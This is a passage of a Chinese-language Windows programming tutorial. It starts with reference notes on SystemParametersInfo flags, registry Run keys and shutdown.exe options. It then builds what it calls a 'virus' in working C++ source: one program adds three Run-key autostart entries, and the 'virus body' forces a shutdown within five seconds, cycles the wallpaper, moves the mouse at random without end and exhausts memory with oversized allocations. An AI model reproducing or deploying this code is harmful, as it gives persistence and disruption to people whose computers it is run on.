SPI_SETFILTERKEYS:設定FilterKeys易用特性的參數。參數pvParam必須指向包含新參數的FILTERKEYS結構,該結構中的cbSize成員和參數ulParam的值應設為sizeof(FILTERKEYS)。
SPI_SETFONTSMOOTHING:允許或禁止有字型平滑特性。該特性使用字型保真技術,通過在不同灰階級上塗畫像素點來使得字型曲線顯得更加平滑,為了允許有該特性,參數ulParam應設為TRUE值,否則為FALSE。對于Windows 95,隻有在安裝了Windows plusl才支援該标志。
SPI_SETFOREGROUNDFLASHCOUNT:用于Windows 98和Windows NT 5.0及以後版本。設定SetForegroundWindow在拒絕前台切換申請時閃爍任務攔按鈕的次數。
SPI_SETFOREGROUNDLOCKTIMEOUT:用于Windows 98和Windows NT 5.0及以後版本。它用來設定在使用者輸入之後,系統禁止應用程式強行将自己進入前台期間的時間長度,機關為毫秒。參數pvParam設定這個新的時間限度值。
SPI_SETGRADIENTCAPTIONS:用于Windows 98和Windows NT 5.0及以後版本。允許或禁止視窗标題欄有傾斜效果。如果允許則将參數pvParam設定為TRUE,否則設為FALSE。有關傾斜效果方面更多資訊,請參考GetSysColor函數。
SPI_SETGRIDGRANULARITY:将桌面縮放時網格的顆粒度值設定為參數ulParam中的值。
SPI_SETHANDHELD:内部使用,應用程式不應使用該值。
SPI_SETHIGHCONTRAST:用于Windows 95及以後版本、Windows NT 5.0及以後版本。設定HighContrast可通路特性的參數。參數pvParam必須指向HIGHCONTRAST結構,該結構包含新的參數。該結構中的cbSize成員及參數ulParam的值設為sizeof(HIGHCONTRAST)。
SPI_SETICONMETRICS:設定與圖示有關的資訊。參數pvParam必須指向包含新參數的ICONMETRICS結構,另外還要将參數ulParam和該結構中的cbSize成員的值設定為sizeof(ICONMETRICS)。
SPI_SETICONS:重新加載系統圖示。參數ulParam的值應設為0,而pvParam參數應設為NULL。
SPI_SETICONTITLELOGFONT:設定用于圖示标題的字型。參數ulParam指定為logfont結構的大小,而參數pvParam必須指向一個LOGFONT結構。
SPI_SETICONTITLEWRAP:打開或關閉圖示标題折行功能。若想打開折行功能,則把參數ulParam設為TRUE,否則為FALSE。
SPI_SETKEYBOARDDELAY:設定鍵盤重複延遲。參數ulParam必須指定為0,1,2或3。其中0表示設定為最短延遲(大約 250ms)3,表示最大延遲(大約 1 秒)。與每個值對應的實際的延遲時間根據硬體情況有可能有些變化。
SPI_SETKEYBOARDPREF:用于Windows 95及以後版本、Windows NT 5.0及以後版本,設定鍵盤優先序。如果使用者依賴鍵盤而不是滑鼠,那麼可将參數ulParam指定為TRUE,否則設為FALSE,并且要求應用程式顯示而不隐蔽鍵盤接口。
SPI_SETKEYBOARDSPEED:設定鍵盤重擊鍵速度。參數ulParam必須指定一個從0到31的值,其中0表示設定成最快速度(大約30次/秒),31表示設定為最低速度(大約2。5次/秒),實際的重速率與硬體有關,而且可能變動幅度高達20%。如果ulParam大于31,那麼該參數仍設定為31。
SPI_SETLANGTOGGLE:為輸入語言間切換設定熱鍵集。參數ulParam和pvParam不用。該值通過讀取系統資料庫來設定鍵盤屬性表單中的快捷鍵。在使用該标志之前必須設定系統資料庫,系統資料庫中的路徑是"1"=Alt+shift,"2"=Ctrl+shift,"3"=none(無)。
SPI_SETLISTBOXSMOOTHSCROLLING:用于Windows 98和Windows NT 5.0及以後版本。允許或不許清單欄有平滑滾動效果。參數pvParam設定為TRUE表示允許有平滑滾動效果,為FALSE則表示禁止。
SPI_SETLOWPOWERACTIVE:激活或關閉低電壓螢幕保護特性。參數ulParam設為1表示激活,0表示關閉。參數pvParam必須設為NULL。對于Windows 98,該标志支援16位和32位應用程式。對于Windows 95,該标志隻支援16位應用程式。對于Windows NT.該标志隻支援NT 5.0及以後版本的32位應用程式,不支援16位應用程式。
SPI_SETLOWPOWERTIMEOUT:用于設定低電壓螢幕保護中的時間值(也稱逾時值,即在超過某一時間段後自動進行螢幕保護),機關為秒。uIParam參數用來指定這個新值。參數pvParam必須為NULL。對于Windows98,該标志支援16位和32位應用程式。對于Windows 95,該标志隻支援16位應用程式。對于Windows NT該标志隻支援NT 5.0及以後版本的32位應用程式,不支援16位應用程式。
SPI_SETMENUDROPALIGNMENT:設定彈出或菜單的對齊方式。參數ulParam指定為TRUE時表示是右對齊,FALSE時為左對齊。
SPI_SETMINIMIZEDMETRICS:設定與最小化視窗有關的資料資訊,參數pvParam必須指向包含新參數的MINIMIZEDMETRICS結構。該結構中的cbSize成員與ulParam參數的值應設為sizeof(MINMIZEDMETRICS)。
SPI_SETMOUSE:設定滑鼠的兩個閥值和加速率。參數pvParam必須指向一個長度為3的數組,以指定這些值。詳細請參考mouse_event。
SPI_SETMOUSEBUTTONSWAP:調換或恢複滑鼠左右按鈕的含義,為FALSE時表示恢複原來的含義。
SPI_SETMOUSEHOVERHEGHT:用于Windows 98和Windows NT 4.0及以後版本。設定滑鼠指針停留區域的高度,以像素為機關。滑鼠指針在此區域停留是為了讓TrackMouseEvent産生一條WM_MUOSEHOVER消息,參數ulParam用來設定此高度值。
SPI_SETMOUSEHOVERTIME:用于Windows 98和Windows NT 4.0及以後版本。設定滑鼠指針為了讓TrackMouseEvent産生WM_MOUSEHOVER事件而在停留區域應停留的時間。該标志隻有在将調用dwHoverTime參數中的HOVER_DEFAULT值傳送到TrackMouseEvent時才使用。參數ulParam設定這個新的時間值。
SPI_SETMOUSEHOVERWIDTH:用于Windows 98和Windows NT 4.0及以後版本。設定滑鼠指針停留區域的寬度,以像素為機關。參數ulParam設定該新值。
SPI_SETMOUSEKEYS:設定MouseKeys易用特性的參數。參數pvParam必須指向包含新參數的MOUSEKEYS結構。結構中的cbSize成員與參數ulParam的值應設為sizeof(MOUSEKEYS)。
SPI_SETMOUSESPEED:用于Windows NT 5.0及以後的版本和Windows 98,設定目前滑鼠速度。參數pvParam必須指向一個1(最慢)至20(最快)之間的整數。預設值是10。一般可以使用滑鼠控制台應用程式來設定該值。
SPI_SETMOUSETRAILS:用于Windows 95及以後版本:允許或禁止有MoouseTrails(滑鼠軌迹)特性。該特性通過簡短地顯示滑鼠光标軌迹,并迅速地擦除它們來提高滑鼠的可見度。禁止該特性可将參數ulParam設為0或1,允許時,将ulParam設定為一個大于1的數值,該值表示軌迹中畫出的光标個數。
SPI_SETNONCLIENTMETRICS:設定與非最小化視窗的非客區有關的資料資訊,參數pvParam必須指向NONCLIENTMETRICS結構,該結構包含新的參數。其成員cbSzie和參數ulParam的值應設為sizeof(NONCLIENTMETRICS)。
SPI_SETPENWINDOWS;用于Windows 95及以後版本:指定是否加載筆視窗,當加載時,參數ulParam設為TRUE,不加載時為FALSE。參數pvParam為NULL。
SPI_SETPOWEROFFACTIVE:激活或關閉螢幕保護特性參數。ulParam設為1表示激活,0表示關閉。參數pvParam必須為NULL。對于Windows 98,該标志支援16位和32位應用程式。對于Windows 95,該标志隻支援16位應用程式。對于Windows NT,該标志支援Windows NT 5.0及以後版本的32位應用程式,不支援16位應用程式。
SPI_SETPOWEROFFTIMEOUT:設定用于關閉螢幕保護所需的時間值(也稱逾時值)。參數ulParam指定該值。參數pvParam必須為NULL。對于Windows 98.該标志支援16位和32位應用程式。對于Windows 95,該标志隻支援16位應用程式。對于Windows NT,該标志支援Windows NT 5.0及以後版本上的32位應用程式,不支援16位應用程式。
SPI_SETSCREENREADER;用于Windows 95及以後版本、Windows NT 5.0及以後版本,表示螢幕審閱程式是否運作。參數uiparm指定為TRUE表示運作該程式,FALSE則不運作。
SPI_SETSCREENSAVERRUNNING:用于Windows 95及以後版本,内部使用。應用程式不應該使用此标志SPI_SETSETSCREENSAVETIMEOUT:參數ulParam值為螢幕保護器時間限度值。該值是一個時間量,以秒為機關,在螢幕保護器激活之前,系統應該一直是空閑的,超過這個值就激活螢幕保護器。
SPI_SETSERIALKEYS:用于Windows 95及以後版本:設定SerialKeys易用特性的參數。參數pvParam必須指向包含新參數的SERIALKEYS結構,其成員cbSize和參數ulParam應設為sizeof(SERIALKEYS)。
SPI_SETSHOWSOUNDS:将ShowSounds易用特性設定為打開或關閉。參數ulParam指定為TRUE時表示打開,FALSE表示關閉。
SPI_SETSNAPTODEFBUTTON:用于Windows NT 4.0及以後版本、Windows 98。允許或禁止有snap-to-default-button(跳轉至預設按鈕)特性。如果允許,那麼滑鼠光标會自動移至預設按鈕上,例如對話櫃中的OK或"apply"按鈕。參數ulParam設為TRUE表示允許該特性,FALSE表示禁止。
SPI_SETSOUNDSENTRY:設定SOUNDSENTRY易用特性的參數。參數pvParam必須指向SOUNDSENTRY結構,該結構包含新參數,其成員cbSize和參數ulParam的值應設為sizeof(SOUNDSENTRY)。
SPI_SETSTICKYKEYS:設定stickykeys可通路特性的參數。參數pvParam必須指向包含新參數的stickykeys結構,其成員cbSize和ulParam參數的值要設為sizeof(STICKYKEYS)。
SPI_SETSWITCHTASKDISABLE:用于Windows NT 5.0及以後版本,允許或禁止有Alt+Tab和Alt+Esc任務切換特性。參數ulParam設為1表示允許有該特性,設為0則表示禁止。預設情況下是允許有任務切換特性的。
SPI_SETTOGGLEKEYS:設定togglekeys可通路特性的參數,參數PvParam必須指向TOGGLEKEYS結構,該結構中包含新的參數。其成員cbSize和參數ulParam的值要設為sizeof(togglekeys)。
SPI_SETWHEELSCROOLLLINES:用于Windows 98和Windows NT 4.O及以後版本。設定當滑鼠軌迹球轉動時要滾動的行數,滾動的行數是由參數ulParam設定的,該行數是在滑鼠軌迹球滾動,并且沒有使用修改鍵時的滾動行數。如果該數值為0,那麼不會發生滾動,如果滾動行數比可見到的行數要大,尤其如果是WHEEL_PAGESCROLL(#defined sa UINT_MAX),那麼滾動操作應該被解釋成在滾動條的下一頁或上一頁區點選一次。
SPI_SETWORKAREA:設定工作區域大小。工作區是指螢幕上沒有被系統工作列或桌面應用程式桌面工具遮蓋的部分。參數pvParam是一個指針。指向RECT結構,該結構規定新的矩形工作區域,它是以虛拟螢幕坐标來表達的。在多顯示器系統中,該函數用來設定包含特定矩形的顯示器工作區域。如果PvParam為NULL,那麼該函數将主顯示器的工作區域設為全屏。
更多
uiParam:uiParam 在參數說明中所有為ulParam均為錯誤。
這個參數值設為true即可。
pvParam:與查詢或設定的系統參數有關。關于系統級參數的詳情,請參考uiAction參數。否則在沒有指明情況下,必須将該參數指定為NULL。
在修改背景圖檔時為圖檔資訊,PVOID類型。
fWinlni:如果設定系統參數,則它用來指定是否更新使用者配置檔案(Profile)。亦或是否要将WM_SETTINGCHANGE消息廣播給所有頂層視窗,以通知它們新的變化内容。該參數可以是0或下列取值之一:
SPIF_UPDATEINIFILE:把新的系統參數的設定内容寫入使用者配置檔案。
SPIF_SENDCHANGE:在更新使用者配置檔案之後廣播WM_SETTINGCHANGE消息。
SPI_SENDWININICHANGE與 SPIF_SENDCHANGE一樣。
傳回值
如果函數調用成功,傳回值非零:如果函數調用失敗,那麼傳回值為零。
控制滑鼠方法
控制滑鼠坐标的方法同樣也時調用一個API,GetCursorPos和SetCursorPos
GetCursorPos用于擷取滑鼠句柄
#include<stdio.h>
#include<windows.h>
int main()
{
POINT p;
GetCursorPos(&p);
return0;
}
SetCursorPos用于移動滑鼠
在使用GetCursorPos擷取滑鼠句柄之後,可以調用SetCursorPos移動滑鼠,它的兩個參數分别是x軸和y軸。
函數原型:BOOL SetCursorPos(int X,int Y);
參數:
X:指定光标的新的X坐标,以螢幕坐标表示。
Y:指定光标的新的Y坐标,以螢幕坐标表示。
傳回值:如果成功,傳回非零值;如果失敗,傳回值是零,若想獲得更多錯誤資訊,請調用GetLastError函數。
備注:該光标是共享資源,僅當該光标在一個視窗的客戶區域内時它才能移動該光标。
開機自啟動方法
系統資料庫
開機自啟動的實作方法就是通過系統資料庫實作,在系統資料庫中有固定的開機自啟程式設定位置
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run;
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runonce;
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run;
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce;
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
在這幾項中有我們電腦中的開機自啟動程式資訊,
例如這個WeChat就是開機時的微信登入程式。
系統資料庫讀寫方法
RegCreateKey
// 打開系統資料庫
LONG WINAPI RegCreateKey(
_In_ HKEY hKey,
_In_opt_ LPCTSTR lpSubKey,
_Out_ PHKEY phkResult
);
hKey
指向目前打開表項的句柄,或者是下列預定義保留句柄值之一,實際上就是系統資料庫中的幾個分支。
lpSubKey
指向一個空終止的字元串指針,訓示這個函數将打開或建立的表項的名稱。這個表項必須是由hKey參數所辨別的項的子項
phkResult
這是一個傳回值,指向一個變量的指針,用來接受建立或打開的表項的句柄。當不再需要此傳回的系統資料庫項句柄時,調用RegCloseKey函數關閉這個句柄。
RegSetValueEx
// 讀寫系統資料庫
LONG RegSetValueEx(
HKEY hKey,
LPCTSTR lpValueName,
DWORD Reserved,
DWORD dwType,
CONST BYTE *lpData,
DWORD cbData
);
一個已打開項的句柄,或指定一個标準項名
lpValueName
指向一個字元串的指針,該字元串包含了欲設定值的名稱。若擁有該值名稱的值并不存在于指定的系統資料庫項中,則此函數将其加入到該項。如果此值是NULL,或指向空字元串,則此函數為該項的預設值或未命名值設定類型和資料。
Reserved
保留值,必須強制為0
dwType
指定将被存儲的資料類型,該參數可以為
REG_BINARY 任何形式的二進制資料
REG_DWORD 一個32位的數字
REG_DWORD_LITTLE_ENDIAN 一個“低位元組在前”格式的32位數字
REG_DWORD_BIG_ENDIAN 一個“高位元組在前”格式的32位數字
REG_EXPAND_SZ 一個以0結尾的字元串,該字元串包含對環境變量(如“%PAHT”)的未擴充引用
REG_LINK 一個Unicode格式的帶符号連結
REG_MULTI_SZ 一個以0結尾的字元串數組,該數組以連接配接兩個0為終止符
REG_NONE 未定義值類型
REG_RESOURCE_LIST 一個裝置驅動器資源清單
REG_SZ 一個以0結尾的字元串
lpData
指向一個緩沖區,該緩沖區包含了欲為指定值名稱存儲的資料。
cbData
指定由lpData參數所指向的資料的大小,機關是位元組。
關機方法
Windows 系統自帶一個名為Shutdown.exe的程式,可以用于關機操作(位置在WindowsSystem32下),一般情況下Windows系統的關機都可以通過調用程式 shutdown.exe來實作的,同時該程式也可以用于終止正在計劃中的關機操作。
shutdown-a 取消關機
shutdown -s 關機
shutdown -f 強行關閉應用程式
shutdown -m \\計算機名 控制遠端計算機
shutdown -i 顯示“遠端關機”圖形使用者界面,但必須是Shutdown的第一個參數
shutdown -l 登出目前使用者
shutdown -r 關機并重新開機
shutdown -s -t 時間 設定關機倒計時
shutdown -h 休眠
實作
修改桌面背景代碼
圖檔資訊使用了一個PVOID數組,并通過一個for循環不斷切換桌面背景。
#include<stdio.h>
#include<windows.h>
#include<iostream>
#include <tchar.h>
#include<cstdlib>
#include<ctime>
using namespace std ;
int main(){
PVOID s[10] = {
(PVOID)"D:\\windows\\system32\\bin\\background.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background1.jpg" ,
...
(PVOID)"D:\\windows\\system32\\bin\\background6.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background7.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background8.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background9.jpg"
};
SystemParametersInfo(20, true,s, 1) ;
for(int i=0;i<10;i++){
SystemParametersInfo(20, true,s[i], 1) ;
Sleep(1000);//控制時間間隔
}
return 0 ;
}
控制滑鼠代碼
利用随機數和while死循環達到滑鼠不受控制瘋狂随機移動的功能。
#include<stdio.h>
#include<windows.h>
#include<iostream>
#include <tchar.h>
#include<cstdlib>
#include<ctime>
using namespace std ;
int main(){
POINT sb;
srand((unsigned)time(NULL));
GetCursorPos (&sb);//擷取滑鼠坐标
while(1){
SetCursorPos(rand()%1000,rand()%800);//更改滑鼠坐标
Sleep(1);//控制移動時間間隔
}
return 0 ;
}
開機自啟動代碼
ret = RegSetValueEx(hkey,_T("新加項名稱"),0,REG_SZ,(const BYTE*)("d:\windows\setup.exe"),21);
第二個參數是項名稱,第五個參數是要開機啟動程式的路徑位置,最後一個參數是第五個參數路徑字元長度。
#include<stdio.h>
#include<windows.h>
#include<iostream>
#include <tchar.h>
#include<cstdlib>
#include<ctime>
using namespace std ;
int main(){
HKEY hkey ;//計算機\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
TCHAR p[64] ;
long ret;
ret = RegCreateKey(HKEY_CURRENT_USER,_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),&hkey);
if(ret==ERROR_SUCCESS){
ret = RegSetValueEx(hkey,_T("新加項名稱"),0,REG_SZ,(const BYTE*)("d:\\windows\\setup.exe"),21); // 主
if(ret==ERROR_SUCCESS){
// 寫入成功
}else {
// 寫入失敗
cout << "Write filed !" ;
}
}else {
// 系統資料庫打開失敗
cout << "Read error !" << endl ;
}
return 0 ;
}
關機代碼
這個功能實作比較簡單。
#include<stdio.h>
#include<windows.h>
int main(){
// 五秒關機
system("shutdown -s -t 5");
return 0 ;
}
代碼
注冊程式,将病毒主體加入開機自啟動
#include<stdio.h>
#include<windows.h>
#include<iostream>
#include <tchar.h>
#include<cstdlib>
#include<ctime>
using namespace std ;
int main(){
HKEY hkey ;//計算機\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
TCHAR p[64] ;
long ret;
ret = RegCreateKey(HKEY_CURRENT_USER,_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),&hkey);
if(ret==ERROR_SUCCESS){
ret = RegSetValueEx(hkey,_T("LexBer"),0,REG_SZ,(const BYTE*)("d:\\windows\\setup.exe"),21); // 主
ret = RegSetValueEx(hkey,_T("Begin"),0,REG_SZ,(const BYTE*)("d:\\windows\\system32\\bin\\begin.exe"),35); // 主要動作
ret = RegSetValueEx(hkey,_T("FindQQ"),0,REG_SZ,(const BYTE*)("d:\\windows\\system32\\conf\\find.exe"),35);//監控實時變化
if(ret==ERROR_SUCCESS){
// 寫入成功
}else {
// 寫入失敗
cout << "Write filed !" ;
}
}else {
cout << "Read error !" << endl ;
}
return 0 ;
}
病毒主體,在上方代碼實作開機自啟動之後,這段代碼可以不斷修改桌面,控制滑鼠以及關機。
#include<stdio.h>
#include<windows.h>
#include<iostream>
#include <tchar.h>
#include<cstdlib>
#include<ctime>
using namespace std ;
int main(){
POINT sb;
PVOID s[10] = {
(PVOID)"D:\\windows\\system32\\bin\\background.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background1.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background2.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background3.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background4.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background5.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background6.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background7.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background8.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background9.jpg"
};
srand((unsigned)time(NULL));
system("shutdown -s -t 5");
SystemParametersInfo(20, true,s, 1) ;
GetCursorPos (&sb);//擷取滑鼠坐标
int i = 0 ;
while(1){
int *p = (int*)malloc(10000000000) ;
printf("\a");
SystemParametersInfo(20, true,s[i], 1) ;
if(i>=9){
i = 0 ;
}
SetCursorPos(rand()%1000,rand()%800);//更改滑鼠坐标
Sleep(1);//控制移動時間間隔
}
return 0 ;
}